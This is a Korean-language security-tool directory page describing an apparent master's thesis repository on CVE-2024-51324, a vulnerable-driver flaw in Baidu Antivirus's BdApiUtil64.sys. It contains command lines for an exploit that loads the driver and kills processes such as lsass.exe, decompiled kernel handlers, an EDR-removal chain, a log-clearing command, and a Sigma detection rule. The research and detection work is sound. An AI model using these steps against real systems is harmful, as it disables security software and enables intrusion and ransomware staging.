Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-51324 — Master's Thesis research on CVE-2024-51324 (BYOVD). Advanced exploit with 4 operational modes (SCANNER, LOADER, KILLER, CLEANUP), SHA-256 driver verification, and full academic documentation. Portfolio piece covers Windows kernel driver security, IOCTL reverse engineering, and Bring Your Own Vulnerable Driver exploitation. | Kitploit
도구/GitHubGitHub/devianntsec/cve-2024-51324
Defensive ToolsVulnerability AnalysisExploitationReverse EngineeringForensicsPenetration TestingPapers & ResearchLearning & EducationRed Teaming

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

Master's Thesis research on CVE-2024-51324 (BYOVD). Advanced exploit with 4 operational modes (SCANNER, LOADER, KILLER, CLEANUP), SHA-256 driver verification, and full academic documentation. Portfolio piece covers Windows kernel driver security, IOCTL reverse engineering, and Bring Your Own Vulnerable Driver exploitation.

Binary Exploitation
GitHubdevianntsec/cve-2024-51324

CVE-2024-51324

저장소 보기
13개월 전아직 검토되지 않음
공유

CVE-2024-51324 — BYOVD: BdApiUtil64.sys · 석사 논문 연구

Platform Language License: MIT Research CVSS

자체 취약 드라이버 가져오기 (BYOVD) — 바이두 안티바이러스 BdApiUtil64.sys
세 가지 문서화되지 않은 커널 프리미티브: 프로세스 종료, 임의 파일 삭제, 및 SectionObjectPointer 우회를 통한 사용 중인 파일 삭제
영향받는 제품: Baidu Antivirus v5.2.3.116083 (BdApiUtil64.sys)


취약 드라이버를 커널에 로딩 중 (LOADER 모드)

설명

이 저장소는 CVE-2024-51324에 대한 석사 논문 연구를 포함하며, 이는 Baidu Antivirus의 커널 드라이버 BdApiUtil64.sys의 자체 취약 드라이버 가져오기 (BYOVD) 취약점입니다.

NVD 기록은 CVSS v3.1 기본 점수 3.8 (Low) 와 벡터 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N 및 CWE-269 (부적절한 권한 관리)를 할당합니다. 이 점수는 이 연구에서 문서화된 로컬 공격 현실을 반영하지 않습니다. 관리자가 드라이버를 로드하면 (소셜 엔지니어링 또는 로컬 권한 상승을 통해 한 번만 수행하면 되는 단계) 이후 모든 프로세스(샌드박스 또는 표준 사용자 프로세스 포함)는 추가 권한 검사 없이 IOCTL을 보낼 수 있습니다. 연구자가 평가한 CVSS v3.1 점수 7.8 (High) 와 벡터 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H가 로드 후 악용 현실을 더 정확하게 반영합니다. 두 점수 모두 기술 문서에서 논의됩니다.

드라이버는 SecurityDescriptor = NULL로 \Device\BdApiUtil 디바이스 객체를 생성하여 무결성 수준에 관계없이 모든 프로세스가 핸들을 열고 IOCTL을 보낼 수 있도록 합니다. Ghidra 11.0.3을 통한 정적 분석에 따르면 내부 메커니즘은 이전에 문서화된 것보다 더 중요합니다. 드라이버는 ZwOpenProcess 대신 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode)를 사용하여 SeAccessCheck를 완전히 우회합니다. 세 가지 IOCTL 프리미티브가 완전히 특성화되었으며, 그중 두 가지는 이전에 공개 문서화된 바가 없습니다.

내 기여


저장소 구조

root@kitploit:~
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│   └── BdApiUtil64.sys              # 드라이버 (배포되지 않음)
│
├── exploit/
│   ├── exploit-explanation.md
│   └── byovd_killer.py              # 주요 익스플로잇 — 4가지 작동 모드
│
└── docs/
    ├── screenshots/
    │   ├── 01-byovd-scan.png
    │   ├── 02-byovd-scan-target.png
    │   ├── 03-byovd-load.png
    │   ├── 04-byovd-load-custom.png
    │   ├── 05-kill-name.gif
    │   ├── 06-kill-pid.gif
    │   ├── 07-kill-limit.gif
    │   ├── 08-dry-run.gif
    │   └── 09-byovd-cleanup.png
    │
    └── analysis/
        ├── 01-root-cause.md
        ├── 02-driver-analysis.md    # 전체 Ghidra RE, 세 가지 프리미티브, PPL 테스트
        └── 03-timeline.md

빠른 시작

사전 요구 사항

  • Windows 10/11 (모든 빌드)
  • Python 3.6+
  • BdApiUtil64.sys (SHA-256: 47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428)
  • 관리자 계정 (LOADER 및 CLEANUP 모드만)
  • 드라이버가 로드된 후 KILLER 모드에는 표준 사용자 계정으로 충분

1단계 — 시스템 스캔

root@kitploit:~
python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe

2단계 — 드라이버 로드 (관리자 필요)

root@kitploit:~
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService

3단계 — 프로세스 종료 (관리자 불필요)

root@kitploit:~
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run

4단계 — 정리 (관리자 필요)

root@kitploit:~
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService

작동 모드


데모

SCANNER 모드 — 시스템 정보

SCANNER 모드

SCANNER 모드 — 대상 프로세스 검색

SCANNER 대상

LOADER 모드 — 드라이버 로딩

LOADER 모드

LOADER 모드 — 사용자 지정 경로 및 서비스 이름

LOADER 사용자 지정

KILLER 모드 — 프로세스 이름으로 종료

이름으로 종료

KILLER 모드 — PID로 종료

PID로 종료

KILLER 모드 — 인스턴스 제한

인스턴스 제한

KILLER 모드 — 드라이 런 (시뮬레이션)

드라이 런

CLEANUP 모드 — 드라이버 언로드

CLEANUP 모드


기술 개요

IOCTL 공격 표면 — 세 가지 프리미티브

Ghidra 11.0.3을 통한 BdApiUtil64.sys의 역공학은 이전의 모든 공개 출처보다 더 넓은 공격 표면을 식별했습니다:

프리미티브 1 — 프로세스 종료 (0x800024B4)

디스패치 체인은 세 가지 수준으로 구성됩니다:

root@kitploit:~
IOCTL 0x800024B4
  └─ FUN_00028630  (IRP_MJ_DEVICE_CONTROL 디스패처)
       └─ FUN_00015230  (래퍼: IOCTL 코드 및 버퍼 크기 = 4바이트 확인)
            └─ FUN_000152b0  (종료 핸들러 — 취약점 핵심)

복원된 핸들러 (Ghidra):

root@kitploit:~
if ((param_1 != 0) && (param_1 != 4)) {
    PsLookupProcessByProcessId(param_1, &local_res10);
    ObOpenObjectByPointer(
        local_res10,
        0x200,      // OBJ_KERNEL_HANDLE
        0,          // PassedAccessState: NULL
        0x1fffff,   // PROCESS_ALL_ACCESS
        0,          // ObjectType: NULL
        0,          // AccessMode: KernelMode  ← SeAccessCheck 우회
        local_res18
    );
    ZwTerminateProcess(local_res18[0], 0);
}

KernelMode가 SeAccessCheck를 우회하는 이유:

root@kitploit:~
ZwOpenProcess 경로:
  NtOpenProcess → ObOpenObjectByName → SeAccessCheck
                                        (DACL, 호출자 토큰, 무결성 수준 확인)
                                        STATUS_ACCESS_DENIED 반환 가능

ObOpenObjectByPointer(KernelMode) 경로:
  SeAccessCheck  ← 호출되지 않음
  → PROCESS_ALL_ACCESS 핸들이 무조건 부여됨

ZwOpenProcess는 드라이버의 임포트 테이블에 없습니다. 이전 출처에 있는 ZwOpenProcess에 기반한 설명은 기술적으로 부정확합니다.

프리미티브 2 — 임의 파일 삭제 (0x80002648)

핸들러 FUN_00013bb0는 유니코드 경로를 수신하고 InputBufferLength ≥ 0x208을 확인한 후 FUN_00013c10에 위임합니다. 서브-핸들러는 커널 모드에서 파일을 열고 (호출자 토큰에 대한 SeAccessCheck 없음) IRP_MJ_SET_INFORMATION IRP를 FileInformationClass = 0xD (FileDispositionInformation)와 함께 전달하여 파일을 삭제 대상으로 표시합니다. 커널이 접근 가능한 모든 파일은 NTFS 권한에 관계없이 삭제될 수 있습니다.

프리미티브 3 — 사용 중인 파일 삭제 (0x8000264C)

핸들러 FUN_000139d0는 FileObject->SectionObjectPointer (오프셋 0x28 in FILE_OBJECT)에 접근하여 삭제 IRP를 전달하기 전에 두 필드를 일시적으로 null로 만듭니다:

root@kitploit:~
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0;  // DataSectionObject  → NULL
plVar1[0] = 0;  // ImageSectionObject → NULL

IofCallDriver(device, irp);
KeWaitForSingleObject(...);

// 완료 후 복원
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;

IopDeleteFile은 FileDispositionInformation을 처리하기 전에 이 포인터를 확인합니다. 이를 null로 만듦으로써 핸들러는 파일이 매핑되지 않은 것처럼 보이게 하여 사용 중인 파일 보호를 우회합니다. 이 프리미티브는 실행 중인 EDR 에이전트의 바이너리를 프로세스를 먼저 종료하지 않고 디스크에서 삭제할 수 있습니다.

전체 EDR 제거 체인:

root@kitploit:~
1. EDR 프로세스 종료     (IOCTL 0x800024B4)
2. EDR 바이너리를 디스크에서 삭제 (IOCTL 0x8000264C) ← 메모리-매핑된 경우에도 작동
3. 재시작 방지           ← 실행 파일이 디스크에 더 이상 존재하지 않음

경험적 테스트

PPL 저항 (프로세스 범주당 10회 시도)

PPL (Protected Process Light)은 이 드라이버의 ObOpenObjectByPointer(KernelMode) 기반 종료에 저항하는 유일한 런타임 완화입니다.

임포트 테이블 분석


사후 악용 시나리오


포렌식 아티팩트

--cleanup 후에도 남는 것

이벤트 ID 7045는 정리와 함께 전체 공격 주기를 견뎌내는 유일한 아티팩트입니다. 서비스 이름, ImagePath (전체 바이너리 경로), 서비스 유형 및 생성 타임스탬프를 포함합니다.

로그 삭제는 자가-범죄 증거

이벤트 ID 7045를 제거하기 위해 wevtutil cl System을 실행하면 보안 채널에 이벤트 ID 1102가 생성되어 누가 언제 로그를 삭제했는지 기록합니다. 이는 원본 아티팩트가 파괴되더라도 로그 변조가 탐지 가능하게 만듭니다.

공격자 행위결과 아티팩트채널지속성
wevtutil cl System이벤트 ID 7045 삭제됨시스템—

탐지 규칙

시그마 규칙

root@kitploit:~
title: BYOVD Attack via BdApiUtil64.sys (CVE-2024-51324)
id: a3f7c2e1-8b4d-4f9a-b6e3-2d1c9f8a7b5e
status: experimental
logsource:
  product: windows
  service: system
detection:
  selection_eventid:
    EventID: 7045
  selection_driver:
    - ServiceName|contains: 'BdApi'
    - ImagePath|contains: 'BdApiUtil64.sys'
  condition: selection_eventid and selection_driver
level: high
tags:
  - attack.defense_evasion
  - attack.t1562.001
  - attack.privilege_escalation
  - attack.t1068

전체 시그마 규칙 및 Sysmon 구성 (SHA-256 해시 기준 이벤트 ID 6 + 레지스트리 키 기준 이벤트 ID 13)은 docs/detection/에서 확인할 수 있습니다.


기술 문서

문서설명
근본 원인 분석IRP_MJ_DEVICE_CONTROL 핸들러의 접근 제어 누락

학술적 맥락

이 연구는 사이버보안 석사 논문 (UCAM — Campus Internacional de Ciberseguridad)의 일부로, 여러 환경에서 N-Day 취약점을 분석합니다.

이 CVE는 논문 내 Windows 커널 드라이버 / BYOVD 벡터를 나타내며, 다음을 입증합니다:

  • 완전한 IOCTL 열거를 통한 커널 드라이버 공격 표면 분석
  • 이전 공개 설명의 기술적 수정 (ZwOpenProcess 없음; 실제 메커니즘은 ObOpenObjectByPointer(KernelMode))
  • 이전에 문서화되지 않은 두 가지 프리미티브 발견 (파일 삭제 IOCTL)
  • 경험적 PPL 저항 특성화
  • 전체 정리 주기를 통한 포렌식 아티팩트 분석
  • CVSS 점수 비판: 공식 NVD 점수와 로컬 악용 심각도 간의 차이 문서화

키워드: BYOVD · Kernel Driver · IOCTL · Ghidra · Process Termination · File Deletion · SectionObjectPointer · ObOpenObjectByPointer · Defense Evasion · CVE-2024-51324


저자

Annais Molina (devianntsec) — 사이버보안 석사 과정

GitHub LinkedIn Email


감사의 말

  • NVD / NIST — CVE 기록 및 점수
  • loldrivers.io — 커뮤니티 유지 관리 취약 드라이버 인덱스
  • BlackSnufkin — 원본 PoC 참조
  • Cisco Talos — DeadLock 랜섬웨어 BYOVD 분석 (2025년 12월)

라이선스

MIT 라이선스 — LICENSE 참조


법적 고지

이 저장소는 학술 석사 논문의 일부로 교육 및 보안 연구 목적으로만 제공됩니다. 모든 테스트는 네트워크에 노출되지 않은 격리된 가상 머신에서 수행되었습니다. 취약 드라이버 (BdApiUtil64.sys)는 이 저장소에 배포되지 않으며, 독립적으로 획득해야 합니다. 소유하거나 명시적인 서면 승인을 받은 시스템에서만 사용하십시오. 승인되지 않은 사용은 불법이며 형사 기소될 수 있습니다.

© 2026 Annais Molina · 석사 논문 연구
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
도구 다운로드
항목설명
기술적 수정ZwOpenProcess는 임포트 테이블에 없으며, 실제 메커니즘은 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode)로, 이는 SeAccessCheck를 무조건 우회합니다
세 가지 문서화된 프리미티브프로세스 종료 (0x800024B4), 임의 파일 삭제 (0x80002648), 및 SectionObjectPointer 우회를 통한 사용 중인 파일 삭제 (0x8000264C) — 마지막 두 개는 이전에 공개 문서화된 바가 없습니다
네 가지 작동 모드LOADER, KILLER, SCANNER, CLEANUP — 전체 수명 주기 관리
SHA-256 검증로드 시도 전 드라이버 해시 확인
PPL 경험적 테스트프로세스 범주당 10회 시도, PPL이 유일한 런타임 완화임을 확인
포렌식 분석정리 후에도 남는 이벤트 ID 7045; 이벤트 ID 1102는 로그 삭제 자가-범죄 증거
탐지 규칙시그마 규칙 및 Sysmon 구성 (해시 기준 이벤트 ID 6 + 레지스트리 키 기준 이벤트 ID 13)
CVSS 재평가공식 NVD 점수(3.8 Low)와 연구자 평가 로컬 악용 심각도(7.8 High) 간의 차이 문서화
모드명령어권한설명
SCANNER--scan모든 사용자시스템 및 드라이버 상태 정보
LOADER--load관리자커널 서비스 생성을 통해 드라이버 로드
KILLER--kill / --pid모든 사용자IOCTL을 통해 프로세스 종료
CLEANUP--cleanup관리자드라이버 서비스 중지 및 삭제
IOCTL핸들러프리미티브이전 문서화
0x800024B4FUN_000152b0프로세스 종료부분적 (메커니즘 부정확)
0x80002648FUN_00013bb0임의 파일 삭제없음
0x8000264CFUN_00013850사용 중인 파일 삭제 (SectionObjectPointer 우회)없음
프로세스PPL 활성화종료 가능원인
notepad.exe아니오✅ 10/10보호 없음
regedit.exe아니오✅ 10/10보호 없음
spoolsv.exe아니오✅ 9/10SCM이 1건에서 재시작
MsMpEng.exe아니오 (테스트 환경에 PPL 없음)✅ 8/10약간의 타이밍 변동
lsass.exe아니오 (RunAsPPL 없음)✅ 6/10상태 변동
csrss.exe예 (무조건 PPL)❌ 0/10STATUS_ACCESS_DENIED
존재부재
PsLookupProcessByProcessIdZwOpenProcess
ObOpenObjectByPointerSeAccessCheck
ZwTerminateProcessSePrivilegeCheck
PsGetCurrentProcess
IoGetRequestorProcess
시나리오대상영향
EDR/AV 종료MsMpEng.exe, SentinelAgent.exe방어 회피
EDR 바이너리 삭제 (사용 중)디스크 상의 EDR 실행 파일종료 후 재시작 방지
감사 로그 방해EventLog 서비스포렌식 변조
보호된 프로세스 우회lsass.exe (RunAsPPL 없음)자격 증명 접근 지원
랜섬웨어 암호화 전 준비보안 에이전트전체 방어 회피 체인
아티팩트정리 후 상태
SCM의 서비스제거됨
driverquery의 드라이버제거됨
디바이스 객체접근 불가
레지스트리 키제거됨
이벤트 ID 7045남음 — sc delete로 제거 불가
wevtutil cl System
이벤트 ID 1102 생성됨
보안
영구
드라이버 분석전체 Ghidra RE, 세 가지 IOCTL 프리미티브, PPL 테스트, 임포트 테이블 분석
CVE 타임라인발견, 공개 및 패치 연대기